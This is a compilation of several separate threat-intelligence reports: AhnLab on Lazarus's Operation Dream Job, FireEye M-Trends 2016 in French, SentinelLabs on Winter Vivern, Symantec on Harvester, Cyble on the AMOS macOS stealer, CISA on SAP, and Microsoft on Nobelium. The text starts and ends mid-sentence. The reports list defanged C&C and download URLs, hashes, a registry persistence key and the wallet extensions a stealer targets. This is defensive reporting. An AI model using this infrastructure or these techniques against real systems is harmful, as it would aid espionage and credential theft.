igfxaudio.exe file (md5: 22cb24a51394e3ab9b161cd2f6de234f) that was collected from Oman in January 2021 has a size of 4,073,592 bytes and is packed. ## 3. Malware Attributions It is believed that Lcpdot malware revealed by JPCERT was discovered along with Torisma malware. There are some cases where Lcpdot malware is signed with a specific certificate, and AhnLab managed to find a variant of Lcpdot and additional malware after analyzing the files signed with the certificate. Upon analysis, it was found that since spring 2020, the attacker has been using Lcpdot type malware to attack various countries, including Korea. It is assumed that the malware normally connects to 3-4 websites and uses different C&C server addresses for each attack target, based on the region and the language. For example, malware found in Korea all takes the form of a Korean website, and the same goes for Japan, where all malware found takes the form of websites that exist in Japan. Furthermore, one of the malware signed with the 2 TOY GUYS LLC certificate has the same C&C server address as the one revealed by Google in 2021. Some statements regarding the malware attribution made by various security providers have little to no evidence backing up their statement. Thus, security vendors, such as Clearsky, stated that Operation Sharpshooter and Operation Interception might be ‘somewhat’ associated with Operation Dream Job. Furthermore, Torisma that JPCERT revealed may seem like it is linked to McAfee's Torisma, but this cannot be confirmed as McAfee did not reveal the specifics regarding the IOC. Additionally, JPCERT revealed Lcpdot but did not reveal its exact connection to Torisma malware. Still, Kaspersky claimed that they confirmed Lcpdot malware's access to the C&C server, which was used by malware of the Lazarus group. Categorizing this group of malware into a specific group is challenging and risky when attack vectors, attack methods, and malware can only be identified in a limited fashion. This report also does not attempt to claim that there is a definite link between the malware strains and the Lazarus group. However, AhnLab hopes that this report can help track related groups via information about Lcpdot variants and other malware that are assumed to be linked. ## 4. Overview of AhnLab Response AhnLab's solutions detect and block the malware related to Operation Dream Job using the following aliases: - Trojan/Win32.Lcpdot (2021.02.09.00) - Trojan/Win32.Pretendapp (2021.02.09.00) - Trojan/Win64.Nukesped (2021.02.01.01) - Trojan/Win32.NukeSped (2021.02.02.02) - Trojan/Win64.Manuscrypt (2021.02.02.02) - Trojan/Win32.Lcpdot (2021.02.26.04) Activities of Operation Dream Job and the Lazarus attack group were revealed recently, but AhnLab solutions have been detecting them with the aliases stated above. Please note that some malware may not have been detected as they were not confirmed to be related to this attack during the analysis phase. ## 5. Conclusion The Lazarus group is one of the attack groups that have been maintaining a high level of activity since 2020, and many analysts are tracking and performing analysis on the group. The attack group of Operation Dream Job, assumed to be the Lazarus group, has been attacking aerospace and defense companies since 2019 under disguise. However, considering its connection with other attacks, there is a probability that the group may have launched attacks on other industries as well. Furthermore, multiple group activities have been detected, although their connections are yet to be confirmed. ASEC will continue to track the group and the attacks regarding Operation Dream Jobs until further discoveries are made. ## 6. IoC (Indicators of Compromise) ### 1) File Path and Name The paths and names of the files used in malware related to Operation Dream Job are as follows: - citrixvesystem_laptop.exe - d3d10.dll - GoogleUpdate.exe - igfxaudio.exe - ntuser.exe - ntuser.log ### 2) File Hashes (MD5) MD5 of the files related to Operation Dream Job is as follows: - 06adca7a28b6d1d983912f7f544ee413 - 195565729c1bc9d18197e1579431824d - 22cb24a51394e3ab9b161cd2f6de234f - 5b831eaed711d5c4bc19d7e75fcaf46e - d59a0a04abcb38fdb391a09972aa3ff4 - d7ec4cc00b212a4a8c574ce22775eb52 - ec0c8d2cb8da72f4b82ebe3c33c9f24f ### 3) Relevant Domain, URL, and IP address Download URL or C&C address used in Operation Dream Job attack is as follows: - hxxp://121.1**.68.2**/FileServer/temp/platform.asp - hxxp://121.25*.2**.218/A**K**.***.Common.FileServiceServer/Web/document/netframework.asp - hxxp://gbflatinamerica.com/test1.php - hxxp://www.co****st.com/data/geditor/main_1.php - hxxp://www.w***.ac.kr/w***/listboard/faq.asp - hxxps://mail.clicktocareers.com/dev_clicktocareers/public/mailview.php - hxxps://www.a****ll.com/customer/qnaDelOk.asp - hxxps://www.china-*****.co.kr/Interview/dcm.asp - hxxps://www.leemble.com/5mai-lyon/public/webconf.php - hxxps://www.love****.k***.or.kr/_include/left_ajax.asp - hxxps://www.myu*****un.co.kr/_proc/member/member_bk.asp - hxxps://www.to****9.com/common/Download.asp?id=293 - hxxps://www.tronslog.com/public/appstore.php ## 7. References 1. Ryan Sherstobitoff and Asheer Malhotra, ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure 2. Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies 3. Clearsky, Operation ‘Dream Job’ Widespread North Korean Espionage Campaign 4. McAfee, Operation North Star: A Job Offer That’s Too Good to be True? 5. Christiaan Beek and Ryan Sherstobitoff, Operation North Star: Behind The Scenes 6. JPCERT, Operation Dream Job by Lazarus
# M-TRENDS 2016 2015 a été l'année de tous les records. Jamais les cybermenaces : révélations de compromissions et les groupes de cyberpirates n'ont été aussi nombreux à travers le monde. Dans le même temps, les motivations de ces attaquants se sont diversifiées : infiltration et destruction de systèmes, vol d'informations personnelles, attaque d'équipements réseau, etc. Du côté des victimes, la pression est à son comble avec le stress inhérent à la perte de données et de réputation, l'augmentation du temps et des montants investis dans le rétablissement d'une activité normale, et la multiplication des arguments en faveur d'un renforcement de leur sécurité. ## CHIFFRES CLÉS ### TROIS NOUVELLES TENDANCES EN 2015 : - Attaques disruptives - Vols d'informations d'identification personnelle - Attaques de routeurs et de commutateurs ### DEUX TENDANCES ANCIENNES QUI PERDURENT : - Emploi de mécanismes de persistance pour cibler leurs clients - Attaques de fournisseurs de services / sous-traitants ## BILAN DES ATTAQUES EN 2015 ### SECTEURS D'ACTIVITÉ Pourcentage du nombre total d'attaques, par secteur où Mandiant a enquêté : - Services aux entreprises : 11 % - Médias et divertissement : 11 % - Services financiers et assurances : 10 % - Hautes technologies : 13 % - Énergie : 1 % - Secteur agricole et forestier : 1 % - Télécommunications : 2 % - Organismes publics et internationaux : 3 % - Services juridiques : 3 % - Transport : 3 % - Aérospatiale et défense : 5 % - Biotechnologies et pharmaceutique : 7 % - Santé : 5 % - Construction et ingénierie : 6 % ## DES ÉVOLUTIONS CONTRASTÉES Certains secteurs ont enregistré une hausse des attaques par rapport à 2014 et d'autres, une réduction. ### PLUS DE COMPROMISSIONS IDENTIFIÉES EN INTERNE Par rapport à 2014, le nombre d'entreprises qui ont découvert elles-mêmes une compromission a augmenté de 16 %. - Détection en interne : 47 % - Notification par un tiers : 53 % ## DÉLAI ENTRE LA COMPROMISSION ET SA DÉCOUVERTE Moyenne : 146 jours - Notification par un tiers : 320 jours - Détection en interne : 56 jours ## DES ENTREPRISES PLUS VIGILANTES En 2015, le délai moyen entre la compromission initiale et sa découverte a été réduit de 59 jours (205 jours en 2014). ## DE NOUVEAUX ENSEIGNEMENTS Cette année marquée par les attaques par perturbation nous a livré de nouvelles leçons en matière de défense et d'intervention : 1. Engagez des experts de manière préventive pour bénéficier de leur soutien immédiat sur des questions clés (forensique, droit et relations publiques) en cas d'attaque. 2. N'oubliez pas que l'attaquant est un être humain. Ses réactions peuvent donc être imprévisibles. 3. Chaque minute compte : validez et évaluez l'ampleur de la compromission le plus rapidement possible. 4. Restez concentré : vous êtes engagé dans une course contre la montre. 5. Pesez le pour et le contre avant de communiquer avec l'auteur de l'attaque. © 2016 FireEye, Inc. Tous droits réservés. FireEye est une marque déposée de FireEye, Inc. Tous les autres noms de marques, de produits ou de services sont ou peuvent être des marques commerciales ou des marques de service de leurs propriétaires respectifs.
# Winter Vivern | Uncovering a Wave of Global Espionage **Tom Hegel** ## Executive Summary SentinelLabs has conducted an investigation into Winter Vivern Advanced Persistent Threat (APT) activity, leveraging observations made by The Polish CBZC and Ukraine CERT. Our research has uncovered a previously unknown set of espionage campaigns and targeting activities conducted by this threat actor. Our analysis indicates that Winter Vivern’s activities are closely aligned with global objectives that support the interests of Belarus and Russia’s governments. The APT has targeted a variety of government organizations, and in a rare instance, a private telecommunication organization. The threat actor employs various tactics, such as phishing websites, credential phishing, and deployment of malicious documents, that are tailored to the targeted organization’s specific needs. This results in the deployment of custom loaders and malicious documents, which enable unauthorized access to sensitive systems and information. ## Background on Winter Vivern The Winter Vivern Advanced Persistent Threat (APT) is a noteworthy yet relatively underreported group that operates with pro-Russian objectives. DomainTools initially publicized the group in early 2021, naming it based on an initial command-and-control beacon URL string “wintervivern,” which is no longer in use. Subsequently, Lab52 shared additional analysis several months later, identifying new activity associated with Winter Vivern. The group has avoided public disclosure since then, until recent attacks targeting Ukraine. A part of a Winter Vivern campaign was reported in recent weeks by the Polish CBZC, and then the Ukraine CERT as UAC-0114. In this activity, CERT-UA and the CBZC collaborated on the release of private technical details which assisted in our research to identify a wider set of activity on the threat actor, in addition to new victims and previously unknown specific technical details. Overall, we find that the Winter Vivern APT is a resource-limited but highly creative group that shows restraint in the scope of their attacks. Our analysis indicates that Winter Vivern activity aligns closely with global objectives that support the interests of Belarus and Russia’s governments. ## Targeted Organizations Our analysis of Winter Vivern’s past activity indicates that the APT has targeted various government organizations since 2021, including those in Lithuania, India, Vatican, and Slovakia. Recently linked campaigns reveal that Winter Vivern has targeted Polish government agencies, the Ukraine Ministry of Foreign Affairs, the Italy Ministry of Foreign Affairs, and individuals within the Indian government. Of particular interest is the APT’s targeting of private businesses, including telecommunications organizations that support Ukraine in the ongoing war. The threat actor’s targeting of a range of government and private entities highlights the need for increased vigilance as their operations include a global set of targets directly and indirectly involved in the war. ## Luring Methodology Winter Vivern’s tactics have included the use of malicious documents, often crafted from authentic government documents publicly available or tailored to specific themes. More recently, the group has utilized a new lure technique that involves mimicking government domains to distribute malicious downloads. In early 2023, Winter Vivern targeted specific government websites by creating individual pages on a single malicious domain that closely resembled those of Poland’s Central Bureau for Combating Cybercrime, the Ukraine Ministry of Foreign Affairs, and the Security Service of Ukraine. In mid-2022, the attackers also made an interesting, lesser observed, use of government email credential phishing webpages. One example is ocspdep[.]com, which was used in targeting users of the Indian government’s legitimate email service email.gov.in. Looking back at less recent activity, we can see in December 2022 the group likely targeted individuals associated with the Hochuzhit.com (“I Want to Live”) project, the Ukraine government website offering guidance and instructions to Russian and Belarus Armed Forces seeking to voluntarily surrender in the war. In these attacks, the threat actor made use of a macro-enabled Excel spreadsheet to infect the target. When the threat actor seeks to compromise the organization beyond the theft of legitimate credentials, Winter Vivern tends to rely on shared toolkits and the abuse of legitimate Windows tools. ## View Into The Arsenal Winter Vivern APT falls into a category of scrappy threat actors, being quite resourceful and able to accomplish a lot with potentially limited resources while willing to be flexible and creative in their approach to problem-solving. Recent campaigns demonstrate the group’s use of lures to initiate the infection process, utilizing batch scripts disguised as virus scanners to prompt downloads of malware from attacker-controlled servers. In the case of malicious documents, such as the Hochu Zhit themed XLS files, PowerShell is called through a macro. Specifically, Invoke-Expression cmdlet is executed, beaconing to the malicious destination of ocs-romastassec[.]com/goog_comredira3cf7ed34f8.php. One malware family of recent activity is APERETIF, named by CERT-UA based on the development PDB path inside the sample. We identified a related sample following similar use, although it is less complete in malicious design. These samples align with the theme of attacks mimicking a virus scanner, presenting users with the fake scan results similar to the script loaders. Known samples are PE32 executables, written in Visual C++, with a compilation timestamp of May 2021. We assess the threat actor shifted from these original executables to the delivery of batch files with PowerShell scripting, with overlap in their use. APERETIF is a trojan, automating the collection of victim details, maintaining access, and beaconing outbound the actor-controlled domain marakanas[.]com. As with the previous script, the trojan makes use of whomami within PowerShell in its initial activity to beacon outbound for further instructions and/or downloads. APERETIF also uses the signatures.php?id=1 URI through HTTPS GET requests. The group made use of compromised WordPress websites to host the malware, such as with hxxps://applesaltbeauty[.]com/wordpress/wp-includes/widgets/classwp/521734i and hxxps://natply[.]com/wordpress/wp-includes/fonts/ch/097214o serving as the download location for APERETIF during initial attack stages. Moreover, Winter Vivern employs other intrusion techniques, such as exploiting application vulnerabilities to compromise specific targets or staging servers. An attacker-controlled server was found to host a login page for the Acunetix web application vulnerability scanner, which may serve as a supplementary resource for scanning target networks and potentially used to compromise WordPress sites for malware hosting purposes. ## Conclusion The Winter Vivern cyber threat actor, whose operations of espionage have been discussed in this research, has been able to successfully carry out their attacks using simple yet effective attack techniques and tools. Their ability to lure targets into the attacks, and their targeting of governments and high-value private businesses demonstrate the level of sophistication and strategic intent in their operations. The dynamic set of TTPs and their ability to evade the public eye has made them a formidable force in the cyber domain. ## Indicators of Compromise | Type | Indicator | |--------|---------------------------------------------| | Domain | bugiplaysec[.]com | | Domain | marakanas[.]com | | Domain | [email protected][.]com | | Domain | ocs-romastassec[.]com | | Domain | ocspdep[.]com | | Domain | security-ocsp[.]com | | Domain | troadsecow[.]com | | URL | hxxps://applesaltbeauty[.]com/wordpress/wp-includes/widgets/classwp/521734i | | URL | hxxps://marakanas[.]com/Kkdn7862Jj6h2oDASGmpqU4Qq4q4.php | | URL | hxxps://natply[.]com/wordpress/wp-includes/fonts/ch/097214o | | URL | hxxps://ocs-romastassec[.]com/goog_comredira3cf7ed34f8.php | | IP | 176.97.66[.]57 | | IP | 179.43.187[.]175 | | IP | 179.43.187[.]207 | | IP | 195.54.170[.]26 | | IP | 80.79.124[.]135 | | File SHA1 | 0fe3fe479885dc4d9322b06667054f233f343e20 | | File SHA1 | 83f00ee38950436527499769db5c7ecb74a9ea41 | | File SHA1 | a19d46251636fb46a013c7b52361b7340126ab27 | | File SHA1 | a574c5d692b86c6c3ee710af69fccbb908fe1bb8 | | File SHA1 | c7fa6727fe029c3eaa6d9d8bd860291d7e6e3dd0 | | File SHA1 | f39b260a9209013d9559173f12fbc2bd5332c52a |
# Harvester: Nation-State-Backed Group Uses New Toolset to Target Victims in South Asia A previously unseen actor, likely nation-state-backed, is targeting organizations in South Asia, with a focus on Afghanistan, in what appears to be an information-stealing campaign using a new toolset. The Harvester group uses both custom malware and publicly available tools in its attacks, which began in June 2021, with the most recent activity seen in October 2021. Sectors targeted include telecommunications, government, and information technology (IT). The capabilities of the tools, their custom development, and the victims targeted all suggest that Harvester is a nation-state-backed actor. ## New toolset deployed The most notable thing about this campaign is the previously unseen toolset deployed by the attackers. The attackers deployed a custom backdoor called **Backdoor.Graphon** on victim machines alongside other downloaders and screenshot tools that provided the attackers with remote access and allowed them to spy on user activities and exfiltrate information. We do not know the initial infection vector that Harvester used to compromise victim networks, but the first evidence we found of Harvester activity on victim machines was a malicious URL. The group then started to deploy various tools, including its custom Graphon backdoor, to gain remote access to the network. The group also tried to blend its activity in with legitimate network traffic by leveraging legitimate CloudFront and Microsoft infrastructure for its command and control (C&C) activity. ### Tools used: - **Backdoor.Graphon** - custom backdoor that uses Microsoft infrastructure for its C&C activity - **Custom Downloader** - uses Microsoft infrastructure for its C&C activity - **Custom Screenshotter** - periodically logs screenshots to a file - **Cobalt Strike Beacon** - uses CloudFront infrastructure for its C&C activity (Cobalt Strike is an off-the-shelf tool that can be used to execute commands, inject other processes, elevate current processes, or impersonate other processes, and upload and download files) - **Metasploit** - an off-the-shelf modular framework that can be used for a variety of malicious purposes on victim machines, including privilege escalation, screen capture, to set up a persistent backdoor, and more. The custom downloader used by the attackers leverages the Costura Assembly Loader. Once on a victim machine, it checks if the following file exists: **[ARTEFACTS_FOLDER]\winser.dll**. If the file does not exist, it downloads a copy from the following URL: **hxxps://outportal[.]azurewebsites.net/api/Values_V2/Getting3210**. Next, the sample creates the following file if it does not exist: **"[ARTEFACTS_FOLDER]\Microsoft Services[.]vbs"**. Then it sets the following registry value to create a loadpoint: **HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"MicrosoftSystemServices" = "[ARTEFACTS_FOLDER]\Microsoft Services[.]vbs"**. Finally, it opens an embedded web browser within its own UI using the following URL: **hxxps://usedust[.]com**. While it initially appeared that this URL may have been a loadpoint for Backdoor.Graphon, upon further investigation it appears to be a decoy to confuse any affected users. Backdoor.Graphon is compiled as a .NET PE DLL with export “Main” and the following PDB file name: **D:\OfficeProjects\Updated Working Due to Submission\4.5\Outlook_4.5\Outlook 4.5.2 32 bit New without presistancy\NPServices\bin\x86\Debug\NPServices[.]pdb**. When this is executed, it attempts to communicate with the attackers’ C&C servers, which are hosted on Microsoft infrastructure. - **hxxps://microsoftmsdn[.]azurewebsites.net/api/Values_V1/AuthAsyncComplete_V1?Identity=[INFECTION_ID]** - **hxxps://microsoftsgraphapi[.]azurewebsites.net/api/Values_V1/AuthAsyncComplete_V1?Identity=[INFECTION_ID]** - **hxxps://msdnmicrosoft.azurewebsites[.]net/api/Values_V1/AuthAsyncComplete_V1?Identity=[INFECTION_ID]** The attackers then run commands to control their input stream and capture the output and error streams. They also periodically send GET requests to the C&C server, with the content of any returned messages extracted and then deleted. Data that cmd.exe pulled from the output and error streams is encrypted and sent back to the attackers’ servers. The custom screenshot tool was also packed with the Costura Assembly Loader. The screenshot tool takes photos that it saves to a password-protected ZIP archive for exfiltration, with all archives older than a week deleted. ## Ongoing activity While we do not have enough evidence yet to attribute Harvester’s activity to a specific nation state, the group’s use of custom backdoors, the extensive steps taken to hide its malicious activity, and its targeting all point to it being a state-sponsored actor. Harvester’s use of legitimate infrastructure to host its C&C servers in order to blend in with normal network traffic is one example of the stealthy steps taken by this actor. The targeting of organizations in Afghanistan in this campaign is also interesting given the huge upheaval seen in that country recently. The activity carried out by Harvester makes it clear the purpose of this campaign is espionage, which is the typical motivation behind nation-state-backed activity. That Harvester’s most recent activity was seen earlier this month means that organizations in the sectors and geographies mentioned should be alert to the malicious activity outlined in this blog. ## Protection **File based:** - Backdoor.Graphon For the latest protection updates, please visit the Symantec Protection Bulletin. ## Indicators of Compromise - 0740cc87a7d028ad45a3d54540b91c4d90b6fc54d83bb01842cf23348b25bc42 - 303f93cc47c58e64665f9e447ac11efe5b83f0cfe4253f3ff62dd7504ee935e0 - 3c34c23aef8934651937c31be7420d2fc8a22ca260f5afdda0f08f4d3730ae59 - 3c8fa5cc50eb678d9353c9f94430eeaa74b36270c13ba094dc5c124259f0dc31 - 470cd1645d1da5566eef36c6e0b2a8ed510383657c4030180eb0083358813cd3 - 691e170c5e42dd7d488b9d47396b633a981640f8ab890032246bf37704d4d865 - a4935e31150a9d6cd00c5a69b40496fea0e6b49bf76f123ea34c3b7ea6f86ce6 - c4b6d7e88a63945f3e0768657e299d2d3a4087266b4fc6b1498e2435e311f5d1 - cb5e40c6702e8fe9aa64405afe462b76e6fe9479196bb58118ee42aba0641c04 - d84a9f7b1d70d83bd3519c4f2c108af93b307e8f7457e72e61f3fa7eb03a5f0d - f4a77e9970d53fe7467bdd963e8d1ce44a2d74e3e4262cd55bb67e7b3001c989 **URL** - hxxps://perfect-couple.com/perfectcouple[.]exe – sample was downloaded from this address
# Threat Actor Selling New Atomic macOS (AMOS) Stealer on Telegram **April 26, 2023** ## Undetected Golang-Based Stealer Emerges and Baffles Security Vendors In recent years, macOS has become increasingly popular among users, largely due to its user-friendly interface, which is often commended for its simplicity and ease of use. macOS is also often perceived as being more secure than other operating systems. Despite this, Threat Actors (TAs) have continued to target macOS platforms. Previously, there have been several cases where Threat Actors have targeted macOS users with various families of malware, including MacStealer, RustBucket, DazzleSpy, etc. Cyble Research and Intelligence Labs (CRIL) recently discovered a Telegram channel advertising a new information-stealing malware called Atomic macOS Stealer (AMOS). The malware is specifically designed to target macOS and can steal sensitive information from the victim’s machine. The TA behind this stealer is constantly improving this malware and adding new capabilities to make it more effective. The most recent update to the malware was highlighted in the Telegram post on April 25th, showcasing its latest features. The Atomic macOS Stealer can steal various types of information from the victim’s machine, including keychain passwords, complete system information, files from the desktop and documents folder, and even the macOS password. The stealer is designed to target multiple browsers and can extract auto-fills, passwords, cookies, wallets, and credit card information. Specifically, AMOS can target cryptowallets such as Electrum, Binance, Exodus, Atomic, and Coinomi. The TA also provides additional services such as a web panel for managing victims, MetaMask brute-forcing for stealing seed and private keys, crypto checker, and dmg installer, after which it shares the logs via Telegram. These services are offered at a price of $1000 per month. ## Technical Analysis For our analysis, we have taken the sample hash (SHA256) of “Setup.dmg” as 15f39e53a2b4fa01f2c39ad29c7fe4c2fef6f24eff6fa46b8e77add58e7ac709, which is FUD (stands for “Fully Undetectable”) on VirusTotal at the time of writing this analysis. The TAs use a ‘.dmg’ file to disseminate this malware, including a Mac OS X executable, located at “/Setup.app/Contents/macOS/My Go Application.app” and is a 64-bit Golang executable file. The Atomic macOS Stealer’s primary function encompasses all of its capabilities, including keychain extraction, crypto wallet theft, stealing browser details, grabbing user files, collecting system information, and sending all the stolen data to the remote C&C server. Once a user executes the file, it displays a fake password prompt to obtain the system password. ### Keychain Password Extraction In addition to obtaining the system password, the malware also targets the password management tool by utilizing the main_keychain() function to extract sensitive information from the victim’s machine. Keychain is a macOS password management system that enables users to safely store sensitive data such as website logins, Wi-Fi passwords, credit card details, and more. The code snippet exhibits the main_keychain() function, implemented to gather the user’s credentials. ### Stealing Crypto Wallets The stealer begins to extract information related to crypto-wallets by querying and reading files from specific directories using the function main_GrabWallets(). The stealer targets crypto wallets such as Electrum, Binance, Exodus, and Atomic. ### Crypto Wallet Extension The Atomic macOS stealer can also extract information from crypto wallet browser extensions. These extensions are integrated into the stealer binary via hard coding, with over 50 extensions being targeted thus far. The table below highlights some crypto wallets with respective browser extension IDs targeted by the malware. - acmacodkjbdgmoleebolmdjonilkdbch: Rabby Wallet - aeachknmefphepccionboohckonoeemg: Coin98 Wallet - afbcbjpbpfadlkmhmclhkeeodmamcflc: Math Wallet - aholpfdialjgjfhomihkjbmgjidlcdno: Exodus Web3 Wallet - aiifbnbfobpmeekipheeijimdpnlpgpp: Station Wallet - amkmjjmmflddogmhpjloimipbofnfjih: Wombat – Gaming Wallet for Ethereum & EOS - apnehcjmnengpnmccpaibjmhhoadaico: CWallet - bcopgchhojmggmffilplmbdicgaihlkp: Hycon Lite Client - bfnaelmomeimhlpmgjnjophhpkkoljpa: Phantom - bocpokimicclpaiekenaeelehdjllofo: XDCPay - cgeeodpfagjceefieflmdfphplkenlfk: EVER Wallet - cihmoadaighcejopammfbmddcmdekcje: LeafWallet - cjelfplplebdjjenllpjcblmjkfcffne: Jaxx Liberty - cjmkndjhnagcfbpiemnkdpomccnjblmj: Finnie - cmndjbecilbocjfkibfbifhngkdmjgog: Swash - cnmamaachppnkjgnildpdmkaakejnhae: Auro - copjnifcecdedocejpaapepagaodgpbh: Freaks Axie - cphhlgmgameodnhkjdmkpanlelnlohao: NeoLine - dhgnlgphgchebgoemcjekedjjbifijid: Crypto Airdrops & Bounties - dkdedlpgdmmkkfjabffeganieamfklkm: Cyano - dmkamcknogkgcdfhhbddcghachkejeap: Keplr - efbglgofoippbgcjepnhiblaibcnclgk: Martian Wallet for Sui & Aptos - egjidjbpglichdcondbcbdnbeeppgdph: Trust Wallet - ffnbelfdoeiohenkjibnmadjiehjhajb: Yoroi - fhbohimaelbohpjbbldcngcnapndodjp: BinanceChain - fhilaheimglignddkjgofkcbgekhenbh: Oxygen - flpiciilemghbmfalicajoolhkkenfel: ICONex - fnjhmkhhmkbjkkabndcnnogagogbneec: Ronin - fnnegphlobjdpkhecapkijjdkgcjhkib: Harmony Wallet - hcflpincpppdclinealmandijcmnkbgn: KHC - hmeobnfnfcmdkdcmlblgagmfpfboieaf: XDEFI - hnfanknocfeofbddgcijnmhnfnkdnaad: Coinbase - hnhobjmcibchnmglfbldbfabcgaknlkj: Flint Wallet - hpglfhgfnhbgpjdenjgmdgoeiappafln: Guarda - ibnejdfjmmkpcnlpebklmnkoeoihofec: TronLink - imloifkgjagghnncjkhggdhalmcnfklk: Trezor Password Manager - jojhfeoedkpkglbfimdfabpdfjaoolaf: Polymesh - klnaejjgbibmhlephnhpmaofohgkpgkd: ZilPay - kncchdigobghenbbaddojjnnaogfppfj: iWallet - kpfopkelmapcoipemfendmdcghnegimn: Liquality - lodccjjbdhfakaekdiahmedfbieldgik: DAppPlay - mfhbebgoclkghebffdldpobeajmbecfk: Starcoin - mnfifefkajgofkcjkemidiaecocnkjeh: TezBox - nhnkbkgjikgcigadomkphalanndcapjk: CLW - nkbihfbeogaeaoehlefnkodbefgpgknn: Metamask - nknhiehlklippafakaeklbeglecifhad: Nabox - nlbmnnijcnlegkjjpcfjclmcfggfefdm: MewCx - nlgbhdfgdhgbiamfdfmbikcdghidoadd: Byone - nphplpgoakhhjchkkhmiggakijnkhfnd: Ton - ookjlbkiijinhpmnjffcofjonbfbgaoc: Temple - pdadjkfkgcafgbceimcpbkalnfnepbnk: KardiaChain - pnndplcbkakcplkjnolgbkdgjikjednm: Tron Wallet & Explorer – Tronium - pocmplpaccanhmnllbbkpgfliimjljgo: Slope - ppdadbejkmjnefldpcdjhnkpbjkikoip: Oasis ### Extracting Browser Information After collecting wallet details, the malware queries the installed browsers’ directories on the victim’s device and searches for particular browser-related files to extract confidential data, such as: - Autofills - Passwords - Cookies - Credit Cards The malware can steal files from various browsers, including Mozilla Firefox, Google Chrome, Microsoft Edge, Yandex, Opera, and Vivaldi. ### File Grabber The stealer now steals the victim’s files from directories such as Desktop and Documents using the main_FileGrabber() function. The malware requests permission to access files within the specified directories. The code snippet displays the main_FileGrabber() function, which is implemented to grab files from the victim’s system. ### Collecting System Information Subsequently, the malware starts the process of obtaining further hardware-related information regarding the system, such as the Model name, Hardware UUID, RAM size, the number of cores, and serial number, among other information. ### Command and Control (C&C) Finally, the Atomic macOS stealer processes the stolen information by compressing it into ZIP and encoding it using Base64 format for exfiltration. The stealer communicates with the C&C server URL and sends the stolen information. Concurrently, the Atomic macOS stealer sends selected information to Telegram channels along with the compiled ZIP file. ### C&C Panel The Atomic macOS stealer’s active C&C panel is shown. ## Conclusion Due to its robust security features, macOS is the preferred operating system for numerous high-profile individuals. Targeting macOS is not a novel trend, and various malware families exist that specifically aim to infiltrate this operating system. Malware such as the Atomic macOS Stealer could be installed by exploiting vulnerabilities or hosting on phishing websites. Threat Actors can use the stolen data for espionage or financial gain. While not commonplace, macOS malwares can have devastating impacts on victims. ## Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: - Download and install software only from the official Apple App Store. - Use a reputed antivirus and internet security software package on your system. - Use strong passwords and enforce multi-factor authentication wherever possible. - Enable biometric security features such as fingerprint or facial recognition for unlocking the device wherever possible. - Be wary of opening any links received via emails delivered to you. - Be careful while enabling any permissions. - Keep your devices, operating systems, and applications updated. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |-----------------------------|-------------------|----------------------------------------------| | Execution | T1204.002 | User Execution: Malicious File | | Credential Access | T1110 | Brute Force | | Credential Access | T1555.001 | Keychain | | Credential Access | T1555.003 | Credentials from Web Browsers | | Discovery | T1083 | File and Directory Discovery | | Command and Control | T1132.001 | Data Encoding: Standard Encoding | | Exfiltration | T1041 | Exfiltration Over C&C Channel | ## Indicators of Compromise (IoC) | Indicators | Type | |--------------------------------------------------------------------------------------|--------| | 5e0226adbe5d85852a6d0b1ce90b2308 | MD5 | | 0a87b12b2d12526c8ba287f0fb0b2f7b7e23ab4a | SHA1 | | 15f39e53a2b4fa01f2c39ad29c7fe4c2fef6f24eff6fa46b8e77add58e7ac709 | SHA256 | | amos-malware[.]ru | Domain | | hxxp[:]//amos-malware[.]ru/sendlog | URL |
# Malicious Cyber Activity Targeting Critical SAP Applications SAP systems running outdated or misconfigured software are exposed to increased risks of malicious attacks. SAP applications help organizations manage critical business processes—such as enterprise resource planning, product lifecycle management, customer relationship management, and supply chain management. On April 6, 2021, security researchers from Onapsis, in coordination with SAP, released an alert detailing observed threat actor activity and techniques that could lead to full control of unsecured SAP applications. Impacted organizations could experience: - theft of sensitive data, - financial fraud, - disruption of mission-critical business processes, - ransomware, and - halt of all operations. CISA recommends operators of SAP systems review the Onapsis Alert Active Cyberattacks on Mission-Critical SAP Applications for more information and apply necessary updates and mitigations.
# Blog - Team Cymru **Post author:** S2 Research Team We use cookies on our website to ensure you get the best experience. Got it!
# Another Nobelium Cyberattack **UPDATE (May 28, 2021, 1pm PT):** Our teams have continued to investigate the latest wave of phishing attacks launched by Nobelium. Based on what we currently know, the security community should feel good about the collective work done to limit the damage done by this wave of attacks. As we have notified our targeted customers and watched closely for other reports, we are not seeing evidence of any significant number of compromised organizations at this time. More importantly, antivirus services, like Microsoft Defender Antivirus, and endpoint detection and response products, such as Microsoft Defender for Endpoint, are identifying and protecting against the malware being used in this wave of attacks and are working in combination with Microsoft Defender for Office 365. It is important for all users to employ basic cybersecurity hygiene, including using multi-factor authentication, using antivirus/antimalware software and being careful not to click on links in email, unless you can confirm reliability to minimize the risk of being phished. We will continue to monitor the situation. This week we observed cyberattacks by the threat actor Nobelium targeting government agencies, think tanks, consultants, and non-governmental organizations. This wave of attacks targeted approximately 3,000 email accounts at more than 150 different organizations. While organizations in the United States received the largest share of attacks, targeted victims span at least 24 countries. At least a quarter of the targeted organizations were involved in international development, humanitarian, and human rights work. Nobelium, originating from Russia, is the same actor behind the attacks on SolarWinds customers in 2020. These attacks appear to be a continuation of multiple efforts by Nobelium to target government agencies involved in foreign policy as part of intelligence gathering efforts. Nobelium launched this week’s attacks by gaining access to the Constant Contact account of USAID. Constant Contact is a service used for email marketing. From there, the actor was able to distribute phishing emails that looked authentic but included a link that, when clicked, inserted a malicious file used to distribute a backdoor we call NativeZone. This backdoor could enable a wide range of activities from stealing data to infecting other computers on a network. Many of the attacks targeting our customers were blocked automatically, and Windows Defender is blocking the malware involved in this attack. We’re also in the process of notifying all of our customers who have been targeted. We detected this attack and identified victims through the ongoing work of the MSTIC team in tracking nation-state actors. We have no reason to believe these attacks involve any exploit against or vulnerability in Microsoft’s products or services. These attacks are notable for three reasons. First, when coupled with the attack on SolarWinds, it’s clear that part of Nobelium’s playbook is to gain access to trusted technology providers and infect their customers. By piggybacking on software updates and now mass email providers, Nobelium increases the chances of collateral damage in espionage operations and undermines trust in the technology ecosystem. Second, perhaps unsurprisingly, Nobelium’s activities and that of similar actors tend to track with issues of concern to the country from which they are operating. This time Nobelium targeted many humanitarian and human rights organizations. At the height of the Covid-19 pandemic, Russian actor Strontium targeted healthcare organizations involved in vaccines. In 2019, 